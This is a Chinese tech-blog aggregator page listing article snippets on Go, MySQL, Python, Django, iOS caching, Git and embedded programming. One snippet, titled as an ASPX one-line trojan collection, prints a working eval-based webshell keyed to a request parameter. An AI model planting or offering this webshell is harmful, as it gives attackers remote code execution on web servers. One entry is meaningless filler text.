Mac 安装go

  说到go,肯定要先讲安装对吧,这里我就给出Mac环境下安装go!   一:安装Homebrew     1:安装命令:ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"     2:Homebrew的使用:       2.1) 安装软件:brew install 软件名  例如:brew install go       2.2) 搜索软件:brew searc
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

ios内嵌H5页面缓存问题

ios嵌入了H5页面,修改了H5页面里的js后,ios app内页面不能及时更新最新代码, 原来是 ios由于自带缓存的原因。 1. 给各个文件添加 版本号 2. meta 标签设置强制不缓存 <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Cache-Control" content="no-cache"> <meta http-equiv="Expires" content="0">
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

python第二十五天,继承的使用方法,多继承的问题,组合,菱形继承的概念,接口,接口与抽象,鸭子类型,

1.继承的另一种使用方法 2.多继承的问题 3.组合 4.菱形继承的概念 5.接口 6.接口与抽象 7.鸭子类型 1. 继承的另一种使用方式 最常见的是直接继承一个已经存在的类,当你想要创建一个新类,发现这个类中的一些属性方法,再某一个类中已经存在 那就没有必要从头开始写,可以直接继承已有的类,然后补充 ''' 实现一个存储类 在提供基本的存取功能之外 还要可以限制存储元素的类型 ''' class MyList(list): def __init__(self, elem
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

mysql五大数据引擎的分别

MySQL数据库引擎取决于MySQL在安装的时候是如何被编译的。要添加一个新的引擎,就必须重新编译MYSQL。在缺省情况下,MYSQL支持三个引擎:ISAM、MYISAM和HEAP。另外两种类型INNODB和BERKLEY(BDB) 1.ISAM:ISAM执行读取操作的速度很快,而且不占用大量的内存和存储资源。 2.除了提供ISAM里所没有的索引和字段管理的大量功能,MyISAM还使用一种表格锁定的机制,来优化多个并发的读写操作,其代价是你需要经常运行OPTIMIZE TABLE命令,来恢复被
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

基于Django实现一个简单的示例

第一步: urls.py里面: rom django.conf.urls import url,include from django.contrib import admin from app01 import views#导入views,让url可以调用 urlpatterns = [ # url(r'^admin/', admin.site.urls),后面细说 url(r'^login/',views.login), #当输入172.0.0.1/login
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

qwwqdq

aqsws
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

limit的优化

SELECT * FROM t_book WHERE book_id IN (9000,12,50,7000); 0秒便可以查完,若是这样,千万级的数据,mysql应该也能应付
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

源代码管理工具--Github

源代码管理工具——Github 1. 引言 GitHub是一个利用Git进行版本控制、专门用于存放软件代码与内容的共享虚拟主机服务,是一个面向开源及私有软件项目的托管平台。它由GitHub公司(曾称Logical Awesome)的开发者Chris Wanstrath、PJ Hyett和Tom Preston-Werner使用Ruby on Rails编写而成。 除了Git代码仓库托管及基本的 Web管理界面以外,还提供了订阅、讨论组、文本渲染、在线文件编辑器、协作图谱(报表)、代码片段分享(
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

Python基础笔记_变量类型

 下面是W3C学习笔记 # 1.变量赋值 '''''' from builtins import complex, float, int from numpy import long ''' Python中的变量不需要声明,变量的赋值操作既是变量声明和定义的过程。 每个变量在内存中创建,都包括变量的标识,名称和数据这些信息。 每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。 等号(=)用来给变量赋值。 等号(=)运算符左边是一个变量名,等号(=
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

一句话木马:ASPX篇

aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%> 随日期变化的连接密码, Asp.NET服务端写法: <%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTim
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

mysql的 视图、触发器、事务、存储过程、函数、索引与慢查询优化

视图 假设有两张表学生和老师,学生表(sid,name,tid) 关联老师表(tid,tname) 创建视图的语法: create view 视图名 as SQL语句 实例: create view student2teacher as select * from student inner join teacher on student.tid=teacher.tid; 创建视图后会产生一个名为 student2teacher 的表,可以直接调用。 思考:开发过程中会不会去使用视图?
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

mysql事物/锁

事物就是一组应该一起成功或一起失败的sql语句. 事物具有原子性,一致性,隔离性和持久性的特点:   1、原子性(Atomicity):事务开始后所有操作,要么全部做完,要么全部不做,不可能停滞在中间环节。事务执行过程中出错,会回滚到事务开始前的状态,所有的操作就像没有发生一样。也就是说事务是一个不可分割的整体,就像化学中学过的原子,是物质构成的基本单位。    2、一致性(Consistency):事务开始前和结束后,数据库的完整性约束没有被破坏 。比如AB互相转钱,无论怎么转,总额都不会变
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

ZOJ3329 One Person Game

嘟嘟嘟 此题并不难。 因为\(n \leqslant 500\),所以把每一个值看成一个状态,于是对于每一个状态,暴力\(O(k ^ 3)\)枚举转移。然后因为有一条到\(f[0]\)的转移,所以可以用高斯消元求解。 但因为\(T \leqslant 300\),所以直接高斯消元会TLE的。这时候我们观察方程,发现他的转移只有一条边指向\(f[0]\),剩下的都转移到比他大的状态,因此我们从\(n + 1\)往回带,于是每一个状态都可以表示成\(a * f[0] + b\)的形式,这样代到\(
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

navicat连接阿里云ESC里的数据库

https://yq.aliyun.com/articles/656996
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

# 2018-2019-2 20175304实验四《Android程序设计》实验报告

---恢复内容开始--- 2018-2019-2 20175304实验四《Android程序设计》实验报告 一、实验报告封面 课程:Java程序设计 班级:1753班 姓名:刘朝尹 学号:20175304 指导教师:娄嘉鹏 实验日期:2019年5月17日 实验时间:13:45 - 15:25 实验序号:实验四 实验名称:Android程序设计 实验内容: 1.Android Studio的安装测试 2.Activity测试 3.UI测试 4.布局测试 5.事件处理测试 二、实验内容 提交点一
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

线程池设计

1、创建一个阻塞队列 (1)可以使用链表实现 (2)设置一个最大容量 (3)定义一个插入方法,队列满则阻塞;定义一个移除方法,队列空则阻塞。 2、创建一组线程 (1)每个线程运行时从阻塞队列获取任务执行。 (2)线程可以被中断。 3、执行和终止方法实现 (1)调用执行方法,线程池往阻塞队列插入一个任务,然后线程池中的空闲线程不停循环获取任务去执行。 (2)调用终止方法,运行中的线程会继续执行到结束,阻塞中的线程不会再执行。
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

DeferredResult使用方式和场景

为什么使用DeferredResult? 当一个请求到达API接口,如果该API接口的return返回值是DeferredResult,在没有超时或者DeferredResult对象设置setResult时,接口不会返回,但是Servlet容器线程会结束,DeferredResult另外会有线程来进行结果处理,并setResult,如此以来这个请求不会占用服务连接池太久,如果超时或设置setResult,接口会立即返回。 使用DeferredResult的流程: 浏览器发起异步请求 请求到达服
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

2019山东省赛K - Happy Equation ZOJ - 4123 题解

题意:   一个数论题,要求满足如下等式的x有多少个。 思路:   当时比赛是,队伍看到这个题,也没有做太多的思考,就是无从下手,几乎放弃。但是看到学校另外两支队伍都过了这个题,感觉自己还是好菜。   打表可以发现,当a为奇数的时候答案为1。当a为偶数的时候,x一定也是偶数,这个还是比较明显的。   对左边进行推导,因为a为偶数,设a=2*t,所以a^x=2^x*t^x,所以当x大于p时,这个求余之后一定为0。由于p很小,可以直接暴力求解,所以对于右边直接考虑x^a求余之后为0的x的情况。由于
分类: 其他 发布时间: 05-17 19:41 阅读次数: 0

STM32的待机与唤醒试验

因为要节能,这个星期折腾待机与唤醒,首先是待机与按键的唤醒,下载和看了N多网上的资料,千转百回,还是官方资料靠谱。intmain(void){HAL_Init();SystemClock_Config();MX_GPIO_Init();MX_DMA_Init();MX_ADC_Init();MX_LPUART1_UART_Init();MX_USART1_UART_Init();MX_RTC_In
分类: 编程语言 发布时间: 05-17 19:40 阅读次数: 0

Linux下vim编辑文件时对于上次意外退出的文件的再次开启编辑的解决方案

1、当我们用远程工具连接Linux操作系统用vim编辑文件的时候,由于集群的不稳定,或打开后忘记关闭了,或非正常断开的时候。当我们再次编辑此文件的时候就会出现如下所示的提示:[root@localhost scripts]# vim rsync+inotify.sh E325: ATTENTION Found a swap file by the name ".rsync+inotify
分类: 企业开发 发布时间: 05-17 19:40 阅读次数: 0